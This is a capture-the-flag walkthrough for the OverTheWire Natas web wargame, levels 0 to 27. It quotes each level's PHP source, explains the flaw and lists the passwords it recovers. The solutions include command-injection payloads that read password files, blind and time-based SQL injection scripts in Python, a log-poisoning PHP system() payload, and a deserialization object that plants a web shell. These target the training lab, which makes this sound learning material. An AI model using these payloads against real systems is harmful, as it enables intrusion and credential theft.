# natas0
password in HTML

`natas1:0nzCigAq7t2iALyvU9xcHlYN4MlkIwlq`
# natas1
this lab block rightclicking event, but i just read in burp suite

`natas2:TguMNxKo1DSa1tujBLuZJnDUlCcUAPlI`
# natas2
there is nothing on the page but `src="files/pixels"`

so access /files

`natas3:3gqisGdR0pjm6tpkDKdIWO2hSvchLeYH`
# natas3

-> access /robots.txt -> /s3cr3t/users.txt
`natas4:QryZXc2e0zahULdHrtHxzyYkj59kUxLQ`
# natas4

-> add a Referer header

`natas5:0n35PkggAPm2zbEpOU802c0x0Msn1ToK`
# natas5
Change Cookie: loggedin=1

`natas6:0RoJwHdSKWFTYR5WuiAewauSuNaBXned`
# natas6
```php=
<?
include "includes/secret.inc";
if(array_key_exists("submit", $_POST)) {
if($secret == $_POST['secret']) {
print "Access granted. The password for natas7 is <censored>";
} else {
print "Wrong secret";
}
}
?>
```
-> access `/includes/secret.inc` -> `secret = FOEIUWGHFEEUHOFUOIU`

`natas7:bmg8SvU1LizuWjx3y7xkNERkHxGre0GS`
# natas7

-> path traversal: ?page=/etc/natas_webpass/natas8

`natas8:xcoXLmzMkoIP9D7hlgPlh9XD7OgLAe5Q`
# natas8
```php=
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
print "Access granted. The password for natas9 is <censored>";
} else {
print "Wrong secret";
}
}
-------------------------------------------------------------------
function decodeSecret($secret) {
return base64_decode(strrev(hex2bin($secret)));
}
echo decodeSecret($encodedSecret); #oubWYf2kBq
?>
```

`natas9:ZE1ck82lmdGIoErlhQgWND6j2Wzz6b6t`
# natas9
```php=
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
passthru("grep -i $key dictionary.txt");
}
?>
```
command injection: `grep -i ;ls; dictionary.txt`

-> cat /etc/natas_webpass/natas10

`natas10:t7I5VHvpa14sJTUGV0cbEsbYfFP2dmOu`
# natas10
```php=
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i $key dictionary.txt");
}
}
?>
```
filter character that we use to command injection -> grep in multiple file: `grep -i <character> /etc/natas_webpass/natas11 dictionary.txt`
the character is guessing from a-z (ignore case -i)

`natas11:UJdqkK1pTu6VLt9UHWAgRZz6sVUZ3lEk`
# natas11
```php=
<?
$defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
function xor_encrypt($in) {
$key = '<censored>';
$text = $in;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
function loadData($def) {
global $_COOKIE;
$mydata = $def;
if(array_key_exists("data", $_COOKIE)) {
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true);
if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) {
$mydata['showpassword'] = $tempdata['showpassword'];
$mydata['bgcolor'] = $tempdata['bgcolor'];
}
}
}
return $mydata;
}
function saveData($d) {
setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}
$data = loadData($defaultdata);
if(array_key_exists("bgcolor",$_REQUEST)) {
if (preg_match('/^#(?:[a-f\d]{6})$/i', $_REQUEST['bgcolor'])) {
$data['bgcolor'] = $_REQUEST['bgcolor'];
}
}
saveData($data);
?>
```
find key used to XOR encrypt -> create our data
$defaultdata ^ $key -> $encoded_data, we have $encoded_data and $defaultdata, so XOR them to get the key.
```php=
<?php
$defaultdata = json_encode(array("showpassword"=>"no", "bgcolor"=>"#ffffff"));
function xor_encrypt($key, $data) {
$text = $data;
$outText = '';
// Iterate through each character
for($i=0;$i<strlen($text);$i++) {
$outText .= $text[$i] ^ $key[$i % strlen($key)];
}
return $outText;
}
$data = "HmYkBwozJw4WNyAAFyB1VUcqOE1JZjUIBis7ABdmbU1GIjEJAyIxTRg=";
echo xor_encrypt(base64_decode($data), $defaultdata);
# output: eDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoeDWoe
-> key: eDWo
```
-> create your own cookie `HmYkBwozJw4WNyAAFyB1VUc9MhxHaHUNAic4Awo2dVVHZzEJAyIxCUc5`

`natas12:yZdkjAYZRd3R7tq7T5kXMjMJlOIkzDeB`
# natas12
```php=
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
```
simple file upload vulnerability


`natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC`
# natas13
```php=
<?php
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
```
The source code is not much different from the previous lab. Just upload a valid image, then change the filename to `.php` and php payload.


`natas14:z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ`
# natas14
```php=
<?php
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas14', '<censored>');
mysqli_select_db($link, 'natas14');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
echo "Successful login! The password for natas15 is <censored><br>";
} else {
echo "Access denied!<br>";
}
mysqli_close($link);
} else {
?>
```
simple sqli bypass authen

`natas15:SdqIqBsFcz3yotlNYErZSZwblkm0lrvx`
# natas15
```php=
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas15', '<censored>');
mysqli_select_db($link, 'natas15');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
echo "This user exists.<br>";
} else {
echo "This user doesn't exist.<br>";
}
} else {
echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
```
simple blind sqli with changed in response
`" OR 1=1-- -` -> Response: This user exists.
`" OR 1=2-- -` -> Response: This user doesn't exist.
based query: `username=" OR (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE username='natas16')=104-- -`
if true -> this user exists else this user doesn't exist.
1. Use Burp Intruder.

2. Python script
```python=
import string
import requests
TARGET = 'http://natas15.natas.labs.overthewire.org/index.php'
HEADERS = {'Authorization': 'Basic bmF0YXMxNTpTZHFJcUJzRmN6M3lvdGxOWUVyWlNad2Jsa20wbHJ2eA=='}
def dumpPass():
password = ''
for position in range(32):
for character in string.ascii_letters + string.digits:
payload = f'" OR (SELECT ASCII(SUBSTRING(password,{position},1)) FROM users WHERE username="natas16")={ord(character)}-- -'
data = {'username': payload}
response = requests.post(TARGET, headers=HEADERS, data=data)
if 'This user exists' in response.text:
password += character
print('[+] password dumped progress:', password)
break
print('[+] password dumped:', password)
dumpPass()
```
`natas16:hPkjKYviLQctEW33QmuXL6eDVfMW4sGo`
# natas16
```php=
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
```
# natas16
```php=
<?
$key = "";
if(array_key_exists("needle", $_REQUEST)) {
$key = $_REQUEST["needle"];
}
if($key != "") {
if(preg_match('/[;|&`\'"]/',$key)) {
print "Input contains an illegal character!";
} else {
passthru("grep -i \"$key\" dictionary.txt");
}
}
?>
```
- same as natas9 and natas10 labs, however, our input is enclosed in double quotes.
- we can still do command injection with $(), but it's not that easy, the result of the command is fed to grep, and of course it's not in the dictionary.txt file, we can only confirm it with sleep 5.

- we can not write natas17 password to dictionary.txt (we do not have authority), can not redirect output to webhook. may be or can not reverse shell (I haven't try it yet).
> how to solve the lab. i have referred to the way of doing this lab as follows: grep each character of the password with the difference in the response.


the different is in the input then the response. `cherry` and `acherry`.
what if `$(grep a /etc/natas_webpass/natas17)cherry`, if character 'a' in password, then we have `acherry`, nothing response. but 'a' not in natas17 password, we have `cherry`, then response `cherry` and `cherry's`.
-> we have character set of natas17 password, then how can we find the real password.
for example, we have a charset `bhjkoqsvwCEFHJLNOT05789`
i have character `b` already appeared in password, so i will find next character by grep `bb`, `bh`, `bj`, ... Which character is correct there is no response, otherwise there will be cherry like finding charset as above.
we need to do it twice, find character after and before if we choose `b` as first character (because we don't know exactly which character appears first).
i write a python script automate this work.
```python=
import string
import requests
TARGET = 'http://natas16.natas.labs.overthewire.org/index.php'
HEADERS = {'Authorization': 'Basic bmF0YXMxNjpoUGtqS1l2aUxRY3RFVzMzUW11WEw2ZURWZk1XNHNHbw=='}
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def getPasswordChar():
result = ''
for character in string.ascii_letters + string.digits:
payload = f'$(grep {character} /etc/natas_webpass/natas17)cherry'
params = {'needle': payload, 'submit': 'Search'}
response = requests.get(TARGET, headers=HEADERS, params=params, proxies=proxies)
if 'cherry' not in response.text:
result += character
print('[+] get password character progress:', result)
print('[+++] get password character progress:', result)
return result
def dumpPassFirst(charset, password):
exist = True
while (exist):
for character in charset:
exist = False
payload = f'$(grep {password + character} /etc/natas_webpass/natas17)cherry'
params = {'needle': payload, 'submit': 'Search'}
response = requests.get(TARGET, headers=HEADERS, params=params, proxies=proxies)
if 'cherry' not in response.text:
password += character
print('[+] dump password progress first:', password)
exist = True
break
print('[+++] dump password progress first:', password)
return password
def dumpPassSecond(charset, password):
exist = True
while (exist):
for character in charset:
exist = False
payload = f'$(grep {character + password} /etc/natas_webpass/natas17)cherry'
params = {'needle': payload, 'submit': 'Search'}
response = requests.get(TARGET, headers=HEADERS, params=params, proxies=proxies)
if 'cherry' not in response.text:
password = character + password
print('[+] dump password progress second:', password)
exist = True
break
print('[+++] dump password progress second:', password)
return password
def main():
charset = getPasswordChar()
password = dumpPassFirst(charset, '')
password = dumpPassSecond(charset, password)
print('Finally password: ', password)
main()
```


`natas17:EqjHJbo7LFNb8vwhHb9s75hokh5TF0OC`
# natas 17
```php=
<?php
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas17', '<censored>');
mysqli_select_db($link, 'natas17');
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysqli_close($link);
} else {
?>
```
just like natas15, but this one is blind sqli time-based, because they comment the `echo` command, so nothing response, can just check our query successful by time (sleep 5).
with this one (time-based sqli), i prefer using Burp Suite.

i test with the first character

54 is character `6` with response > 5s, a correct character.
`username=natas18" AND (SELECT CASE WHEN ASCII(SUBSTRING(password,<position>,1))=<ascii_number> THEN sleep(5) ELSE sleep(0) END FROM users WHERE username='natas18')-- -`
with 2 position, use cluster bomb attack in burp intruder. payload 1 use number from 1 to 32, payload 2 use simple list with ascii number of lowercase letter, uppercase letter and digit.

`natas18:6OG1PbKdVjyBlpxgD4DDbRG6ZLlCGgCJ`
# natas18
```php=
<?php
$maxid = 640; // 640 should be enough for everyone
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas19\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
```
bruteforce PHPSESSID from 1 -> 640

`natas19:tnwER7PdfWkxsG4FNWUtoAZ9VyZTJqJr`
# natas19
```php=
<?php
$maxid = 640; // 640 should be enough for everyone
function myhex2bin($h) { /* {{{ */
if (!is_string($h)) return null;
$r='';
for ($a=0; $a<strlen($h); $a+=2) { $r.=chr(hexdec($h[$a].$h[($a+1)])); }
return $r;
}
/* }}} */
function isValidAdminLogin() { /* {{{ */
if($_REQUEST["username"] == "admin") {
/* This method of authentication appears to be unsafe and has been disabled for now. */
//return 1;
}
return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
// must be lowercase
if($id != strtolower($id)) {
return false;
}
// must decode
$decoded = myhex2bin($id);
// must contain a number and a username
if(preg_match('/^(?P<id>\d+)-(?P<name>\w+)$/', $decoded, $matches)) {
return true;
}
return false;
}
/* }}} */
function createID($user) { /* {{{ */
global $maxid;
$idnum = rand(1, $maxid);
$idstr = "$idnum-$user";
return bin2hex($idstr);
}
/* }}} */
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function my_session_start() { /* {{{ */
if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
if(!session_start()) {
debug("Session start failed");
return false;
} else {
debug("Session start ok");
if(!array_key_exists("admin", $_SESSION)) {
debug("Session was old: admin flag set");
$_SESSION["admin"] = 0; // backwards compatible, secure
}
return true;
}
}
return false;
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas20\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas20.";
}
}
/* }}} */
$showform = true;
if(my_session_start()) {
print_credentials();
$showform = false;
} else {
if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
session_id(createID($_REQUEST["username"]));
session_start();
$_SESSION["admin"] = isValidAdminLogin();
debug("New session started");
$showform = false;
print_credentials();
}
}
if($showform) {
?>
```
not much different from the above challenge, just with the addition of the myhex2bin function for encoding.
i try to decode my session id

this challenge use a form like `<id>-<username>` then use myhex2bin function to decrypt it.
i write a php function to encrypt myself.
```php=
<?
function mybin2hex($h) {
$r = '';
for ($a=0; $a<strlen($h); $a+=1) {
$r .= dechex(ord($h[($a)]));
}
return $r;
}
for ($i=1; $i<=640;$i+=1) {
$payload = "$i-admin";
echo mybin2hex($payload) . '<br>';
}
```

`natas20:p5mCvP7GS2K6Bmt3gqhM2Fc1A5T8MVyw`
# natas20
```php=
<?php
function debug($msg) { /* {{{ */
if(array_key_exists("debug", $_GET)) {
print "DEBUG: $msg<br>";
}
}
/* }}} */
function print_credentials() { /* {{{ */
if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
print "You are an admin. The credentials for the next level are:<br>";
print "<pre>Username: natas21\n";
print "Password: <censored></pre>";
} else {
print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas21.";
}
}
/* }}} */
/* we don't need this */
function myopen($path, $name) {
//debug("MYOPEN $path $name");
return true;
}
/* we don't need this */
function myclose() {
//debug("MYCLOSE");
return true;
}
function myread($sid) {
debug("MYREAD $sid");
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return "";
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
if(!file_exists($filename)) {
debug("Session file doesn't exist");
return "";
}
debug("Reading from ". $filename);
$data = file_get_contents($filename);
$_SESSION = array();
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
}
return session_encode() ?: "";
}
function mywrite($sid, $data) {
// $data contains the serialized version of $_SESSION
// but our encoding is better
debug("MYWRITE $sid $data");
// make sure the sid is alnum only!!
if(strspn($sid, "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM-") != strlen($sid)) {
debug("Invalid SID");
return;
}
$filename = session_save_path() . "/" . "mysess_" . $sid;
$data = "";
debug("Saving in ". $filename);
ksort($_SESSION);
foreach($_SESSION as $key => $value) {
debug("$key => $value");
$data .= "$key $value\n";
}
file_put_contents($filename, $data);
chmod($filename, 0600);
return true;
}
/* we don't need this */
function mydestroy($sid) {
//debug("MYDESTROY $sid");
return true;
}
/* we don't need this */
function mygarbage($t) {
//debug("MYGARBAGE $t");
return true;
}
session_set_save_handler(
"myopen",
"myclose",
"myread",
"mywrite",
"mydestroy",
"mygarbage");
session_start();
if(array_key_exists("name", $_REQUEST)) {
$_SESSION["name"] = $_REQUEST["name"];
debug("Name set to " . $_REQUEST["name"]);
}
print_credentials();
$name = "";
if(array_key_exists("name", $_SESSION)) {
$name = $_SESSION["name"];
}
?>
```
in this chall, we can only control the name variable, SID is not like the previous 2 lessons because it is handled carefully.
with this chall, you will realize that the handling of the write and read functions is less secure.
- With the write function, it will read the elements in `$_SESSION` such as key, value and then save them to the file `mysess_<id>` with each key, value pair being 1 line without checking carefully
- With the read function, it will read the session file and separate it by '\n' `foreach(explode("\n", $data) as $line)` instead of reading each line, then separate each part by space `$parts = explode(" ", $line, 2);` and then reassign it to `$_SESSION`. `if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];`
the reason I say it's insecure is because I can insert a `\n` into the name variable, the write function doesn't check the input so the `\n` will still be saved to the session file. Then the read function will read the data incorrectly and we can become admin.
payload: `name=perrito%0Aadmin 1`
`%0A` is `\n`
-> write function: `example when print session file: name perrito%0Aadmin 1`
-> read function:
```php=
<?
foreach(explode("\n", $data) as $line) {
debug("Read [$line]");
$parts = explode(" ", $line, 2);
if($parts[0] != "") $_SESSION[$parts[0]] = $parts[1];
//$line name perrito -> $_SESSION[name]=perrito
//$line admin 1 -> $_SESSION[admin]=1 (because of explode \n)
```

`natas21:BPhv63cKE1lkQl04cE5CuFTzXe15NfiH`
# natas21

there is a note that the wesite is colocated with ...
- natas21 source

- natas21 experimenter

```php=
<?php
if (array_key_exists('submit', $_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
$_SESSION[$key] = $value;
}
}
```
the above code performs the function of reading keys and values from `$_REQUEST` and assigning them directly to `$_SESSION`, so that just add one more param to the request `admin=1`

because the second site is colocated to the first one, we can use our PHPSESSID to login to the first site and became an admin.

`natas22:d8rwGBl0Xslg3b76uh3fEbSlnOUBlozz`
# natas22

just use burp to request, if you use browser, you will be redirected.

see the follow redirection in this request, right?
`natas23:dIUQcI3uSus1JEOSSWRAEXBG8KbR8tRs`
# natas23
```php=
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(strstr($_REQUEST["passwd"],"iloveyou") && ($_REQUEST["passwd"] > 10 )){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas24 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
?>
```
to solve this challenge, we need to know how `strstr` works.


so we have the payload `123123123iloveyou`, i just add 123 to my payload to have a string with length greater than 10.

`natas24:MeuqmfJ8DDKuTr5pcvzFKSwlxedZYEWd`
# natas24
```php=
<?php
if(array_key_exists("passwd",$_REQUEST)){
if(!strcmp($_REQUEST["passwd"],"<censored>")){
echo "<br>The credentials for the next level are:<br>";
echo "<pre>Username: natas25 Password: <censored></pre>";
}
else{
echo "<br>Wrong!<br>";
}
}
// morla / 10111
?>
```
just the same as the previous challenge, we need to read docs about `strcmp` function.

this function compares 2 string, and we don't know what string this challenge is going to compare in `strcmp` function. but wait a minute?
`if(!strcmp($_REQUEST["passwd"],"<censored>"))`
when 2 string are equal, it returns 0 so that `!0` -> true
but what if we can make it returns a null, `!null` also returns a true.
therefore, input an array to `passwd` param.

`natas25:ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws`
# natas25
```php=
<?php
// cheers and <3 to malvina
// - morla
function setLanguage(){
/* language setup */
if(array_key_exists("lang",$_REQUEST))
if(safeinclude("language/" . $_REQUEST["lang"] ))
return 1;
safeinclude("language/en");
}
function safeinclude($filename){
// check for directory traversal
if(strstr($filename,"../")){
logRequest("Directory traversal attempt! fixing request.");
$filename=str_replace("../","",$filename);
}
// dont let ppl steal our passwords
if(strstr($filename,"natas_webpass")){
logRequest("Illegal file access detected! Aborting!");
exit(-1);
}
// add more checks...
if (file_exists($filename)) {
include($filename);
return 1;
}
return 0;
}
function listFiles($path){
$listoffiles=array();
if ($handle = opendir($path))
while (false !== ($file = readdir($handle)))
if ($file != "." && $file != "..")
$listoffiles[]=$file;
closedir($handle);
return $listoffiles;
}
function logRequest($message){
$log="[". date("d.m.Y H::i:s",time()) ."]";
$log=$log . " " . $_SERVER['HTTP_USER_AGENT'];
$log=$log . " \"" . $message ."\"\n";
$fd=fopen("/var/www/natas/natas25/logs/natas25_" . session_id() .".log","a");
fwrite($fd,$log);
fclose($fd);
}
?>
```
- this challenge is a simple log poisoning vulnerability in php. they log our `User-Agent` header into a file without sanitize it.
- we have an `include` funciton in `safeinclude` function, that check our filename whether it contains `../` or not. but we can easily bypass the check with `....//` because it isn't a recursive replace.
- User-Agent: <?php system('cat /etc/natas_webpass/natas26'); ?>
- GET /?lang=....//....//....//....//....//var/www/natas/natas25/logs/natas25_<sess_id>.log

`natas26:cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE`
# natas26
```php=
<?php
// sry, this is ugly as hell.
// cheers kaliman ;)
// - morla
class Logger{
private $logFile;
private $initMsg;
private $exitMsg;
function __construct($file){
// initialise variables
$this->initMsg="#--session started--#\n";
$this->exitMsg="#--session end--#\n";
$this->logFile = "/tmp/natas26_" . $file . ".log";
// write initial message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->initMsg);
fclose($fd);
}
function log($msg){
$fd=fopen($this->logFile,"a+");
fwrite($fd,$msg."\n");
fclose($fd);
}
function __destruct(){
// write exit message
$fd=fopen($this->logFile,"a+");
fwrite($fd,$this->exitMsg);
fclose($fd);
}
}
function showImage($filename){
if(file_exists($filename))
echo "<img src=\"$filename\">";
}
function drawImage($filename){
$img=imagecreatetruecolor(400,300);
drawFromUserdata($img);
imagepng($img,$filename);
imagedestroy($img);
}
function drawFromUserdata($img){
if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$_GET["x1"], $_GET["y1"],
$_GET["x2"], $_GET["y2"], $color);
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
if($drawing)
foreach($drawing as $object)
if( array_key_exists("x1", $object) &&
array_key_exists("y1", $object) &&
array_key_exists("x2", $object) &&
array_key_exists("y2", $object)){
$color=imagecolorallocate($img,0xff,0x12,0x1c);
imageline($img,$object["x1"],$object["y1"],
$object["x2"] ,$object["y2"] ,$color);
}
}
}
function storeData(){
$new_object=array();
if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
$new_object["x1"]=$_GET["x1"];
$new_object["y1"]=$_GET["y1"];
$new_object["x2"]=$_GET["x2"];
$new_object["y2"]=$_GET["y2"];
}
if (array_key_exists("drawing", $_COOKIE)){
$drawing=unserialize(base64_decode($_COOKIE["drawing"]));
}
else{
// create new array
$drawing=array();
}
$drawing[]=$new_object;
setcookie("drawing",base64_encode(serialize($drawing)));
}
?>
```
this challenge is about unsecure deserialization in php.
we have a destruct magic method that can write into a file. `unserialize` function that can automatic call destruct method.
- drawing in Cookie: `O:6:"Logger":3:{s:7:"logFile";s:11:"img/poc.php";s:7:"initMsg";s:1:"a";s:7:"exitMsg";s:50:"<?php system('cat /etc/natas_webpass/natas27'); ?>";}` -> base64 encode it
- because there is a folder that we can access from browser in `/img/<filename>`, we can write a web shell to img folder then access it to read the password.



`natas27:u3RRffXjysjgwFU6b9xa23i6prmUsYne`
# natas27
```php=
<?php
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){
$user=mysqli_real_escape_string($link, $usr);
$password=mysqli_real_escape_string($link, $pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysqli_query($link, $query);
if(mysqli_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysqli_real_escape_string($link, $usr);
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysqli_real_escape_string($link, trim($usr));
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
while ($row = mysqli_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
if($usr != trim($usr)) {
echo "Go away hacker";
return False;
}
$user=mysqli_real_escape_string($link, substr($usr, 0, 64));
$password=mysqli_real_escape_string($link, substr($pass, 0, 64));
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysqli_query($link, $query);
if(mysqli_affected_rows($link) > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas27', '<censored>');
mysqli_select_db($link, 'natas27');
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysqli_close($link);
} else {
?>
```
i have encountered sqli truncation vulnerability a few times but I really don't understand how this behavior happens, just know how to exploit it
i need to login as user natas28 to get its password. to exploit this behavior, we need a username that exceeds the database's declared 64 characters (varchar(64)) in the form `natas...123` (add spaces to make it exceeds 64 characters), then login again as `natas...` (same username as before but remove 123), now you can login as user natas28 with a password of your choice.


